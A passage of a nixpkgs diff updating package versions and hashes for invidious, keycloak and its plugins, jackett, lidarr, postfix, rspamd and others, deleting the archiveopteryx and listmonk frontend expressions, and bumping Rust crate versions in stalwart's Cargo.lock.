if [ ! -d "$git_dir" ]; then git init --initial-branch="$git_branch" "$git_dir" git -C "$git_dir" remote add origin "$git_url" fi -git -C "$git_dir" fetch origin "$git_branch" +git -C "$git_dir" fetch origin --tags "$git_branch" # use latest commit before today, we should not call the version *today* # because there might still be commits coming # use the day of the latest commit we picked as version new_rev=$(git -C "$git_dir" log -n 1 --format='format:%H' --before="${today}T00:00:00Z" "origin/$git_branch") -new_version="unstable-$(TZ=UTC git -C "$git_dir" log -n 1 --date='format-local:%Y-%m-%d' --format='%cd' "$new_rev")" +new_tag=$(git -C "$git_dir" describe --tags --abbrev=0 "$new_rev") +new_version="$new_tag-unstable-$(TZ=UTC git -C "$git_dir" log -n 1 --date='format-local:%Y-%m-%d' --format='%cd' "$new_rev")" info "latest commit before $today: $new_rev" if [ "$new_rev" = "$old_rev" ]; then @@ -51,8 +52,8 @@ fi json_set '.invidious.version' "$new_version" json_set '.invidious.rev' "$new_rev" -new_sha256=$(nix-prefetch -I 'nixpkgs=../../..' "$pkg") -json_set '.invidious.sha256' "$new_sha256" +new_hash=$(nix-prefetch -I 'nixpkgs=../../..' "$pkg") +json_set '.invidious.hash' "$new_hash" commit_msg="$pkg: $old_version -> $new_version" # fetch video.js dependencies @@ -60,37 +61,14 @@ info "Running scripts/fetch-player-dependencies.cr..." git -C "$git_dir" reset --hard "$new_rev" (cd "$git_dir" && crystal run scripts/fetch-player-dependencies.cr -- --minified) rm -f "$git_dir/assets/videojs/.gitignore" -videojs_new_sha256=$(nix-hash --type sha256 --base32 "$git_dir/assets/videojs") -json_set '.videojs.sha256' "$videojs_new_sha256" +videojs_new_hash=$(nix-hash --type sha256 --sri "$git_dir/assets/videojs") +json_set '.videojs.hash' "$videojs_new_hash" if git -C "$git_dir" diff-tree --quiet "${old_rev}..${new_rev}" -- 'shard.lock'; then info "shard.lock did not change since $old_rev." else info "Updating shards.nix..." crystal2nix -- "$git_dir/shard.lock" # argv's index seems broken - - lsquic_old_version=$(json_get '.lsquic.version') - # lsquic.cr's version tracks lsquic's, so lsquic must be updated to the - # version in the shards file - lsquic_new_version=$(nix eval --raw -f 'shards.nix' lsquic.rev \ - | sed -e 's/^v//' -e 's/-[0-9]*$//') - if [ "$lsquic_old_version" != "$lsquic_new_version" ]; then - info "Updating lsquic to $lsquic_new_version..." - json_set '.lsquic.version' "$lsquic_new_version" - lsquic_new_sha256=$(nix-prefetch -I 'nixpkgs=../../..' "${pkg}.lsquic") - json_set '.lsquic.sha256' "$lsquic_new_sha256" - - info "Updating boringssl..." - # lsquic specifies the boringssl commit it requires in its README - boringssl_new_rev=$(curl -LSsf "https://github.com/litespeedtech/lsquic/raw/v${lsquic_new_version}/README.md" \ - | grep -Pom1 '(?<=^git checkout ).*') - json_set '.boringssl.rev' "$boringssl_new_rev" - boringssl_new_sha256=$(nix-prefetch -I 'nixpkgs=../../..' "${pkg}.lsquic.boringssl") - json_set '.boringssl.sha256' "$boringssl_new_sha256" - commit_msg="$commit_msg - -lsquic: $lsquic_old_version -> $lsquic_new_version" - fi fi git commit --verbose --message "$commit_msg" -- versions.json shards.nix diff --git a/pkgs/servers/invidious/versions.json b/pkgs/servers/invidious/versions.json index 73915248c706e..38a59c02413cb 100644 --- a/pkgs/servers/invidious/versions.json +++ b/pkgs/servers/invidious/versions.json @@ -1,18 +1,10 @@ { - "boringssl": { - "rev": "251b5169fd44345f455438312ec4e18ae07fd58c", - "sha256": "sha256-EU6T9yQCdOLx98Io8o01rEsgxDFF/Xoy42LgPopD2/A=" - }, "invidious": { - "rev": "c005ada48723808e507d0a4d5a3363a1c14a4f07", - "sha256": "sha256-KbnBdAAjScwKV4uUzyBXAQx2C7MqCdCM3gSvgNIzKAU=", - "version": "unstable-2024-01-29" - }, - "lsquic": { - "sha256": "sha256-hG8cUvhbCNeMOsKkaJlgGpzUrIx47E/WhmPIdI5F3qM=", - "version": "2.18.1" + "rev": "e8a36985aff1a5b33ddf9abea85dd2c23422c2f7", + "hash": "sha256-3nU6z1rd1oiNmIz3Ok02xBsT4oNSGX/n+3/WbRVCbhI=", + "version": "0.20.1-unstable-2024-02-18" }, "videojs": { - "sha256": "0zj8fgxdg6jsllaxn795xipa6yxh4yf08hb8x0idyg74q37gfh4c" + "hash": "sha256-jED3zsDkPN8i6GhBBJwnsHujbuwlHdsVpVqa1/pzSH4=" } } diff --git a/pkgs/servers/invidious/videojs.nix b/pkgs/servers/invidious/videojs.nix index 4016f8e1258d1..35ad0b1f06558 100644 --- a/pkgs/servers/invidious/videojs.nix +++ b/pkgs/servers/invidious/videojs.nix @@ -14,5 +14,5 @@ stdenvNoCC.mkDerivation { outputHashAlgo = "sha256"; outputHashMode = "recursive"; - outputHash = versions.videojs.sha256; + outputHash = versions.videojs.hash; } diff --git a/pkgs/servers/jackett/default.nix b/pkgs/servers/jackett/default.nix index 4bf19dfa07319..d82f7fd1c9ecf 100644 --- a/pkgs/servers/jackett/default.nix +++ b/pkgs/servers/jackett/default.nix @@ -9,13 +9,13 @@ buildDotnetModule rec { pname = "jackett"; - version = "0.21.1672"; + version = "0.21.1915"; src = fetchFromGitHub { owner = pname; repo = pname; rev = "v${version}"; - hash = "sha512-afXP02lZwCjL0XqLzapVM/N2qlE7rxdbfPrTaulN8N227jOPRgq3g96rnXr42crMv1IhThUbEFxN0E1vcMDm5w=="; + hash = "sha512-gqNtmLgAkanWjBIScic5yRCDeH0SF75H83xzpgdf0Xui1lylAPZEc6+FijoURXsDRH/H6taL3DFmO8tfzIpgGw=="; }; projectFile = "src/Jackett.Server/Jackett.Server.csproj"; diff --git a/pkgs/servers/jackett/deps.nix b/pkgs/servers/jackett/deps.nix index e1a701a1ad28d..0690b30aeac21 100644 --- a/pkgs/servers/jackett/deps.nix +++ b/pkgs/servers/jackett/deps.nix @@ -11,7 +11,7 @@ (fetchNuGet { pname = "CommandLineParser"; version = "2.9.1"; sha256 = "1sldkj8lakggn4hnyabjj1fppqh50fkdrr1k99d4gswpbk5kv582"; }) (fetchNuGet { pname = "coverlet.msbuild"; version = "3.2.0"; sha256 = "0lyw70xgri3jqxzd06s077p8wymislljsyrsyn081pb0xc20vd00"; }) (fetchNuGet { pname = "DotNet4.SocksProxy"; version = "1.4.0.1"; sha256 = "1ig2a9ism041a6qrqkxa9xhvp19yxzcadlap5i1kz97f05a2msvb"; }) - (fetchNuGet { pname = "FlareSolverrSharp"; version = "3.0.5"; sha256 = "1pv07ka068mfvsx5vix0p4mm4950z94iqqdp1znq03j2zp03ja14"; }) + (fetchNuGet { pname = "FlareSolverrSharp"; version = "3.0.6"; sha256 = "1zciw2vahakiarkgrf2d63kb6krf0jffrwh29hj8i0l7mv522dcn"; }) (fetchNuGet { pname = "FluentAssertions"; version = "6.8.0"; sha256 = "102977059vkllkr1pg43kcmgvlf9jm1bpmdkq4hx4ljrn1wflwnb"; }) (fetchNuGet { pname = "Microsoft.AspNetCore"; version = "2.2.0"; sha256 = "0vsv7hcsmnsgqhs67zp207n7m9ix3dbwm1p2ch3dizkcdvz235f9"; }) (fetchNuGet { pname = "Microsoft.AspNetCore.Antiforgery"; version = "2.2.0"; sha256 = "026wjdwjx0lgccqv0xi5gxylxzgz5ifgxf25p5pqakgrhkz0a59l"; }) diff --git a/pkgs/servers/keycloak/default.nix b/pkgs/servers/keycloak/default.nix index 16e08aa829621..c0c93f2cf736c 100644 --- a/pkgs/servers/keycloak/default.nix +++ b/pkgs/servers/keycloak/default.nix @@ -18,11 +18,11 @@ let ''; in stdenv.mkDerivation rec { pname = "keycloak"; - version = "23.0.6"; + version = "24.0.1"; src = fetchzip { url = "https://github.com/keycloak/keycloak/releases/download/${version}/keycloak-${version}.zip"; - hash = "sha256-Sw+6UloKSvYjkm7qYROmsZxKk/sky4DKvgupo+S61Q8="; + hash = "sha256-d7bITeukqoLwEPQrUn01arXf8j7L8gM47wzHMsBvz2M="; }; nativeBuildInputs = [ makeWrapper jre ]; @@ -84,7 +84,7 @@ in stdenv.mkDerivation rec { sourceProvenance = with sourceTypes; [ binaryBytecode ]; license = licenses.asl20; platforms = jre.meta.platforms; - maintainers = with maintainers; [ ngerstle talyz ]; + maintainers = with maintainers; [ ngerstle talyz nickcao ]; }; } diff --git a/pkgs/servers/keycloak/keycloak-discord/default.nix b/pkgs/servers/keycloak/keycloak-discord/default.nix index 0605145ff96f3..9f00a292aad47 100644 --- a/pkgs/servers/keycloak/keycloak-discord/default.nix +++ b/pkgs/servers/keycloak/keycloak-discord/default.nix @@ -5,19 +5,20 @@ stdenv.mkDerivation rec { pname = "keycloak-discord"; - version = "0.3.1"; + version = "0.5.0"; src = fetchurl { - url = "https://github.com/wadahiro/keycloak-discord/releases/download/v${version}/keycloak-discord-ear-${version}.ear"; - sha256 = "0fswhbnxc80dpfqf5y6j29dxk3vcnm4kki6qdk22qliasvpw5n9c"; + url = "https://github.com/wadahiro/keycloak-discord/releases/download/v${version}/keycloak-discord-${version}.jar"; + hash = "sha256-radvUu2a6t0lbo5f/ADqy7+I/ONXB7/8pk2d1BtYzQA="; }; dontUnpack = true; dontBuild = true; installPhase = '' - mkdir -p "$out" - install "$src" "$out/${pname}-ear-${version}.ear" + runHook preInstall + install -Dm444 "$src" "$out/keycloak-discord-$version.jar" + runHook postInstall ''; meta = with lib; { @@ -25,5 +26,6 @@ stdenv.mkDerivation rec { description = "Keycloak Social Login extension for Discord"; license = licenses.asl20; maintainers = with maintainers; [ mkg20001 ]; + sourceProvenance = with sourceTypes; [ binaryBytecode ]; }; } diff --git a/pkgs/servers/keycloak/keycloak-metrics-spi/default.nix b/pkgs/servers/keycloak/keycloak-metrics-spi/default.nix index 4752e5fe08c9f..3e2b6049b1870 100644 --- a/pkgs/servers/keycloak/keycloak-metrics-spi/default.nix +++ b/pkgs/servers/keycloak/keycloak-metrics-spi/default.nix @@ -2,16 +2,16 @@ maven.buildMavenPackage rec { pname = "keycloak-metrics-spi"; - version = "4.0.0"; + version = "5.0.0"; src = fetchFromGitHub { owner = "aerogear"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-pacmx5w1VVWz3HmHO6sc2friNUpzo4zyJI1/TQgCXlc="; + hash = "sha256-iagXbsKsU4vNP9eg05bwXEo67iij3N2FF0BW50MjRGE="; }; - mvnHash = "sha256-RjERY434UL9z/gNZFV+wMTITCmTPGanwu61L8sEGaKY="; + mvnHash = "sha256-+ySBrQ9yQ5ZxuVUh/mnHNEmugru3n8x5VR/RYEDCLAo="; installPhase = '' runHook preInstall diff --git a/pkgs/servers/keycloak/keycloak-restrict-client-auth/default.nix b/pkgs/servers/keycloak/keycloak-restrict-client-auth/default.nix index bf5d38bca0135..16d37617336c0 100644 --- a/pkgs/servers/keycloak/keycloak-restrict-client-auth/default.nix +++ b/pkgs/servers/keycloak/keycloak-restrict-client-auth/default.nix @@ -2,16 +2,16 @@ maven.buildMavenPackage rec { pname = "keycloak-restrict-client-auth"; - version = "23.0.0"; + version = "24.0.0"; src = fetchFromGitHub { owner = "sventorben"; repo = "keycloak-restrict-client-auth"; rev = "v${version}"; - hash = "sha256-JA3DvLdBKyn2VE1pYSCcRV9Cl7ZAWsRG5MAp548Rl+g="; + hash = "sha256-Pk0tj8cTHSBwVIzINE7GLA5b/eI97wuOTvO7UoXBStM="; }; - mvnHash = "sha256-W1YvX1P/mshGYoTUO5XMlOcpu2KiujwLludaC3miak4="; + mvnHash = "sha256-Pk2yYuBqGs4k1KwaU06RQe1LpohZu0VI1pHEUBU3EUE="; installPhase = '' runHook preInstall diff --git a/pkgs/servers/keycloak/scim-keycloak-user-storage-spi/default.nix b/pkgs/servers/keycloak/scim-keycloak-user-storage-spi/default.nix index cc6e41aa81f84..6ecd3866b0960 100644 --- a/pkgs/servers/keycloak/scim-keycloak-user-storage-spi/default.nix +++ b/pkgs/servers/keycloak/scim-keycloak-user-storage-spi/default.nix @@ -5,16 +5,16 @@ maven.buildMavenPackage { pname = "scim-keycloak-user-storage-spi"; - version = "unstable-2023-07-10"; + version = "unstable-2024-02-14"; src = fetchFromGitHub { owner = "justin-stephenson"; repo = "scim-keycloak-user-storage-spi"; - rev = "54a3fd77b05079c9ebd931e8b6a3725310a1f7b7"; - hash = "sha256-rQR8+LevFHTFLoyCPSu50jdSXu4YgBibjVB804rEsFs="; + rev = "6c59915836d9a559983326bbb87f895324bb75e4"; + hash = "sha256-BSso9lU542Aroxu0RIX6NARc10lGZ04A/WIWOVtdxHw="; }; - mvnHash = "sha256-vNPSNoOmtD1UMfWvLm8CH7RRatyeu3fnX9zteZpkay0="; + mvnHash = "sha256-xbGlVZl3YtbF372kCDh+UdK5pLe6C6WnGgbEXahlyLw="; installPhase = '' install -D "target/scim-user-spi-0.0.1-SNAPSHOT.jar" "$out/scim-user-spi-0.0.1-SNAPSHOT.jar" diff --git a/pkgs/servers/klipper/default.nix b/pkgs/servers/klipper/default.nix index 341fc484451ff..e1d15d55722c9 100644 --- a/pkgs/servers/klipper/default.nix +++ b/pkgs/servers/klipper/default.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation rec { pname = "klipper"; - version = "unstable-2024-01-06"; + version = "unstable-2024-02-17"; src = fetchFromGitHub { owner = "KevinOConnor"; repo = "klipper"; - rev = "b50d6669a8b491edf07602c0528d26abe8985536"; - sha256 = "sha256-qI+0bia5ROzXcuz0JVLdGyRa45NWTU/MH8dBUXGaHgA="; + rev = "28f06a104bc0cfe3a7d36db343ade5a805b3e132"; + sha256 = "sha256-v2nv4g3dQTMbUKIrEJo8s66WRWXnSkWO8K+12fK/cZw="; }; sourceRoot = "${src.name}/klippy"; diff --git a/pkgs/servers/lidarr/default.nix b/pkgs/servers/lidarr/default.nix index aba1c766ce501..06a51b450331d 100644 --- a/pkgs/servers/lidarr/default.nix +++ b/pkgs/servers/lidarr/default.nix @@ -8,13 +8,13 @@ let x86_64-darwin = "x64"; }."${stdenv.hostPlatform.system}" or (throw "Unsupported system: ${stdenv.hostPlatform.system}"); hash = { - x64-linux_hash = "sha256-TqwVWV3kfBTqGYf6PT9H0E9YiG/AfLWEViKocVrhZuU="; - arm64-linux_hash = "sha256-aCaUZgnk4rnhEV3hDVZx1Bfz+PteefGeGvEdoKXGxxg="; - x64-osx_hash = "sha256-4O3H2gsH2Q3V9xY1fIMzkaU0qSEg3CF89chnrMdCmdk="; + x64-linux_hash = "sha256-njTaQIi15k0+8tnuIO+waRmSE+BAG46ln+qzesFfI0E="; + arm64-linux_hash = "sha256-dgX/G3eyWjtVmwptv0+Fbmt7/SjR26N5Ug+YXeC9fgU="; + x64-osx_hash = "sha256-kFliWQB1eQK1AoeWIZ3XaYj5mwSwRJWL2G8OwaLTFN4="; }."${arch}-${os}_hash"; in stdenv.mkDerivation rec { pname = "lidarr"; - version = "2.0.7.3849"; + version = "2.1.7.4030"; src = fetchurl { url = "https://github.com/lidarr/Lidarr/releases/download/v${version}/Lidarr.master.${version}.${os}-core-${arch}.tar.gz"; diff --git a/pkgs/servers/mail/archiveopteryx/default.nix b/pkgs/servers/mail/archiveopteryx/default.nix deleted file mode 100644 index 99e482323a46a..0000000000000 --- a/pkgs/servers/mail/archiveopteryx/default.nix +++ /dev/null @@ -1,47 +0,0 @@ -{ lib, stdenv, fetchurl, openssl, perl, zlib, jam }: -stdenv.mkDerivation rec { - version = "3.2.0"; - pname = "archiveopteryx"; - - src = fetchurl { - url = "http://archiveopteryx.org/download/${pname}-${version}.tar.bz2"; - sha256 = "0i0zg8di8nbh96qnyyr156ikwcsq1w9b2291bazm5whb351flmqx"; - }; - - nativeBuildInputs = [ jam ]; - buildInputs = [ openssl perl zlib ]; - - preConfigure = '' - export INSTALLROOT=installroot - sed -i 's:BINDIR = $(PREFIX)/bin:BINDIR = '$out'/bin:' ./Jamsettings - sed -i 's:SBINDIR = $(PREFIX)/sbin:SBINDIR = '$out'/bin:' ./Jamsettings - sed -i 's:LIBDIR = $(PREFIX)/lib:LIBDIR = '$out'/lib:' ./Jamsettings - sed -i 's:MANDIR = $(PREFIX)/man:MANDIR = '$out'/share/man:' ./Jamsettings - sed -i 's:READMEDIR = $(PREFIX):READMEDIR = '$out'/share/doc/archiveopteryx:' ./Jamsettings - ''; - - # fix build on gcc7+ and gcc11+ - env.NIX_CFLAGS_COMPILE = toString ([ - "-std=c++11" # c++17+ has errors - "-Wno-error=builtin-declaration-mismatch" - "-Wno-error=deprecated-copy" - "-Wno-error=implicit-fallthrough" - "-Wno-error=nonnull" - ] ++ lib.optionals (stdenv.cc.isGNU && lib.versionAtLeast stdenv.cc.version "11") [ - "-Wno-error=mismatched-new-delete" - ]); - - buildPhase = ''jam "-j$NIX_BUILD_CORES" ''; - installPhase = '' - jam install - mv installroot/$out $out - ''; - - meta = with lib; { - homepage = "http://archiveopteryx.org/"; - description = "An advanced PostgreSQL-based IMAP/POP server"; - license = licenses.postgresql; - maintainers = [ maintainers.phunehehe ]; - platforms = platforms.linux; - }; -} diff --git a/pkgs/servers/mail/dovecot/plugins/fts_xapian/default.nix b/pkgs/servers/mail/dovecot/plugins/fts_xapian/default.nix index 37af5763beb03..59c306beedd9d 100644 --- a/pkgs/servers/mail/dovecot/plugins/fts_xapian/default.nix +++ b/pkgs/servers/mail/dovecot/plugins/fts_xapian/default.nix @@ -1,13 +1,13 @@ { lib, stdenv, fetchFromGitHub, autoconf, automake, sqlite, pkg-config, dovecot, libtool, xapian, icu64 }: stdenv.mkDerivation rec { pname = "dovecot-fts-xapian"; - version = "1.6.1"; + version = "1.7.4"; src = fetchFromGitHub { owner = "grosjo"; repo = "fts-xapian"; rev = version; - sha256 = "sha256-tJNUVMSknK1h4xSQgsS3jQ8SGwZXn1mTheW1nkeD9vQ="; + sha256 = "sha256-Jc8rk/g+dzCpSWsn/Rt5qjhDr5nxO9wmi7rgfyyTSTU="; }; buildInputs = [ dovecot xapian icu64 sqlite ]; diff --git a/pkgs/servers/mail/listmonk/frontend.nix b/pkgs/servers/mail/listmonk/frontend.nix deleted file mode 100644 index 647f5cfd9f6a7..0000000000000 --- a/pkgs/servers/mail/listmonk/frontend.nix +++ /dev/null @@ -1,44 +0,0 @@ -{ yarn2nix-moretea -, fetchFromGitHub -, fetchYarnDeps -, meta -}: - -yarn2nix-moretea.mkYarnPackage rec { - pname = "listmonk-frontend"; - version = "2.5.1"; - - src = fetchFromGitHub { - owner = "knadh"; - repo = "listmonk"; - rev = "v${version}"; - sha256 = "sha256-gCnIblc83CmG1auvYYxqW/xBl6Oy1KHGkqSY/3yIm3I="; - }; - - packageJSON = ./package.json; - yarnLock = "${src}/frontend/yarn.lock"; - - offlineCache = fetchYarnDeps { - inherit yarnLock; - hash = "sha256-KKNk4lrM7unMFClkY6F3nqhKx5xfx87Ac+rug9sOwvI="; - }; - - # For Node.js v17+, this is necessary. - NODE_OPTIONS = "--openssl-legacy-provider"; - - installPhase = '' - runHook preInstall - - cd deps/listmonk-frontend/frontend - npm run build - - mv dist $out - - runHook postInstall - ''; - - doDist = false; - - - inherit meta; -} diff --git a/pkgs/servers/mail/listmonk/package.json b/pkgs/servers/mail/listmonk/package.json deleted file mode 100644 index 6e981fefc8b3f..0000000000000 --- a/pkgs/servers/mail/listmonk/package.json +++ /dev/null @@ -1,46 +0,0 @@ -{ - "name": "listmonk-frontend", - "version": "0.1.0", - "private": true, - "scripts": { - "serve": "vue-cli-service serve", - "build": "vue-cli-service build", - "build-report": "vue-cli-service build --report", - "lint": "vue-cli-service lint" - }, - "dependencies": { - "@tinymce/tinymce-vue": "^3", - "axios": "^0.27.2", - "buefy": "^0.9.10", - "c3": "^0.7.20", - "codeflask": "^1.4.1", - "core-js": "^3.12.1", - "dayjs": "^1.10.4", - "indent.js": "^0.3.5", - "qs": "^6.10.1", - "textversionjs": "^1.1.3", - "tinymce": "^5.10.7", - "turndown": "^7.0.0", - "vue": "^2.6.12", - "vue-i18n": "^8.22.2", - "vue-router": "^3.2.0", - "vuex": "^3.6.2" - }, - "devDependencies": { - "@vue/cli-plugin-babel": "~5.0.8", - "@vue/cli-plugin-eslint": "~5.0.8", - "@vue/cli-plugin-router": "~5.0.8", - "@vue/cli-plugin-vuex": "~5.0.8", - "@vue/cli-service": "~5.0.8", - "@vue/eslint-config-airbnb": "^5.3.0", - "babel-eslint": "^10.1.0", - "cypress": "10.10.0", - "cypress-file-upload": "^5.0.2", - "eslint": "^7.27.0", - "eslint-plugin-import": "^2.23.3", - "eslint-plugin-vue": "^7.9.0", - "sass": "^1.34.0", - "sass-loader": "^10.2.0", - "vue-template-compiler": "^2.6.12" - } -} diff --git a/pkgs/servers/mail/mailman/hyperkitty.nix b/pkgs/servers/mail/mailman/hyperkitty.nix index 89195e5937376..52c7497f5a6d3 100644 --- a/pkgs/servers/mail/mailman/hyperkitty.nix +++ b/pkgs/servers/mail/mailman/hyperkitty.nix @@ -30,7 +30,7 @@ buildPythonPackage rec { django-compressor django-extensions djangorestframework - flufl_lock + flufl-lock mistune networkx psycopg2 diff --git a/pkgs/servers/mail/mailman/package.nix b/pkgs/servers/mail/mailman/package.nix index f38a182461acc..9a082040c96c1 100644 --- a/pkgs/servers/mail/mailman/package.nix +++ b/pkgs/servers/mail/mailman/package.nix @@ -26,9 +26,9 @@ buildPythonPackage rec { click dnspython falcon - flufl_bounce - flufl_i18n - flufl_lock + flufl-bounce + flufl-i18n + flufl-lock gunicorn lazr-config passlib diff --git a/pkgs/servers/mail/postfix/default.nix b/pkgs/servers/mail/postfix/default.nix index 61b69359d3c87..e40c30ff79fa1 100644 --- a/pkgs/servers/mail/postfix/default.nix +++ b/pkgs/servers/mail/postfix/default.nix @@ -25,11 +25,11 @@ let in stdenv.mkDerivation rec { pname = "postfix"; - version = "3.8.5"; + version = "3.8.6"; src = fetchurl { - url = "https://de.postfix.org/ftpmirror/official/${pname}-${version}.tar.gz"; - hash = "sha256-8+gnorLkEDWa0l0xNBlwQ0qwfjYTn5ou+TmBsOxWTIU="; + url = "https://de.postfix.org/ftpmirror/official/postfix-${version}.tar.gz"; + hash = "sha256-S24XyCbMQ4zDAWqcClXqfnfGy6+6fdVyQdgbaQsOl3Q="; }; nativeBuildInputs = [ makeWrapper m4 ]; diff --git a/pkgs/servers/mail/rspamd/default.nix b/pkgs/servers/mail/rspamd/default.nix index 6cf520a1a54c3..2675ab7cbdd16 100644 --- a/pkgs/servers/mail/rspamd/default.nix +++ b/pkgs/servers/mail/rspamd/default.nix @@ -27,13 +27,13 @@ assert withHyperscan -> stdenv.isx86_64; stdenv.mkDerivation rec { pname = "rspamd"; - version = "3.8.1"; + version = "3.8.4"; src = fetchFromGitHub { owner = "rspamd"; repo = "rspamd"; rev = version; - hash = "sha256-XbsebaplhLWPXpdwZyMbxsRyuvaBHtO2WtMoFzN7yXA="; + hash = "sha256-3skF+aQv8Y3ATujV+WH4DxwyQ2hXR6CDZz77CkaRso0="; }; hardeningEnable = [ "pie" ]; diff --git a/pkgs/servers/mail/stalwart/Cargo.lock b/pkgs/servers/mail/stalwart/Cargo.lock index c8ee279416c8d..6f9036d99cc84 100644 --- a/pkgs/servers/mail/stalwart/Cargo.lock +++ b/pkgs/servers/mail/stalwart/Cargo.lock @@ -24,7 +24,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" dependencies = [ "crypto-common", - "generic-array", + "generic-array 0.14.7", ] [[package]] @@ -70,9 +70,9 @@ dependencies = [ [[package]] name = "ahash" -version = "0.7.7" +version = "0.7.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a824f2aa7e75a0c98c5a504fceb80649e9c35265d44525b5f94de4771a395cd" +checksum = "891477e0c6a8957309ee5c45a6368af3ae14bb510732d2684ffa19af310920f9" dependencies = [ "getrandom", "once_cell", @@ -81,9 +81,9 @@ dependencies = [ [[package]] name = "ahash" -version = "0.8.7" +version = "0.8.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "77c3a9648d43b9cd48db467b3f87fdd6e146bcc88ab0180006cef2179fe11d01" +checksum = "42cd52102d3df161c77a887b608d7a4897d7cc112886a9537b738a887a03aaff" dependencies = [ "cfg-if", "getrandom", @@ -125,9 +125,9 @@ dependencies = [ [[package]] name = "anstream" -version = "0.6.5" +version = "0.6.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d664a92ecae85fd0a7392615844904654d1d5f5514837f471ddef4a057aba1b6" +checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5" dependencies = [ "anstyle", "anstyle-parse", @@ -139,9 +139,9 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.4" +version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" +checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" [[package]] name = "anstyle-parse" @@ -185,9 +185,9 @@ checksum = "bddcadddf5e9015d310179a59bb28c4d4b9920ad0f11e8e14dbadf654890c9a6" [[package]] name = "argon2" -version = "0.5.2" +version = "0.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17ba4cac0a46bc1d2912652a751c47f2a9f3a7fe89bcae2275d418f5270402f9" +checksum = "3c3610892ee6e0cbce8ae2700349fcf8f98adb0dbfbee85aec3c9179d29cc072" dependencies = [ "base64ct", "blake2", @@ -257,9 +257,9 @@ dependencies = [ [[package]] name = "async-compression" -version = "0.4.5" +version = "0.4.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc2d0cfb2a7388d34f590e76686704c494ed7aaceed62ee1ba35cbf363abc2a5" +checksum = "a116f46a969224200a0a97f29cfd4c50e7534e4b4826bd23ea2c3c533039c82c" dependencies = [ "flate2", "futures-core", @@ -276,7 +276,7 @@ checksum = "5fd55a5ba1179988837d24ab4c7cc8ed6efdeff578ede0416b4225a5fca35bd0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -298,7 +298,7 @@ checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -309,7 +309,7 @@ checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -440,9 +440,9 @@ checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" [[package]] name = "base64" -version = "0.21.5" +version = "0.21.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" [[package]] name = "base64ct" @@ -491,28 +491,28 @@ dependencies = [ "regex", "rustc-hash", "shlex", - "syn 2.0.47", + "syn 2.0.48", "which", ] [[package]] name = "bindgen" -version = "0.69.1" +version = "0.69.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9ffcebc3849946a7170a05992aac39da343a90676ab392c51a4280981d6379c2" +checksum = "a00dc851838a2120612785d195287475a3ac45514741da670b735818822129a0" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "cexpr", "clang-sys", + "itertools 0.12.1", "lazy_static", "lazycell", - "peeking_take_while", "proc-macro2", "quote", "regex", "rustc-hash", "shlex", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -538,9 +538,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" -version = "2.4.1" +version = "2.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" [[package]] name = "bitvec" @@ -592,7 +592,7 @@ version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4" dependencies = [ - "generic-array", + "generic-array 0.14.7", ] [[package]] @@ -601,7 +601,7 @@ version = "0.10.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" dependencies = [ - "generic-array", + "generic-array 0.14.7", ] [[package]] @@ -610,7 +610,7 @@ version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" dependencies = [ - "generic-array", + "generic-array 0.14.7", ] [[package]] @@ -636,9 +636,9 @@ dependencies = [ [[package]] name = "borsh" -version = "1.3.0" +version = "1.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26d4d6dafc1a3bb54687538972158f07b2c948bc57d5890df22c0739098b3028" +checksum = "f58b559fd6448c6e2fd0adb5720cd98a2506594cafa4737ff98c396f3e82f667" dependencies = [ "borsh-derive", "cfg_aliases", @@ -646,15 +646,15 @@ dependencies = [ [[package]] name = "borsh-derive" -version = "1.3.0" +version = "1.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bf4918709cc4dd777ad2b6303ed03cb37f3ca0ccede8c1b0d28ac6db8f4710e0" +checksum = "7aadb5b6ccbd078890f6d7003694e33816e6b784358f18e15e7e6d9f065a57cd" dependencies = [ "once_cell", - "proc-macro-crate 2.0.0", + "proc-macro-crate 3.1.0", 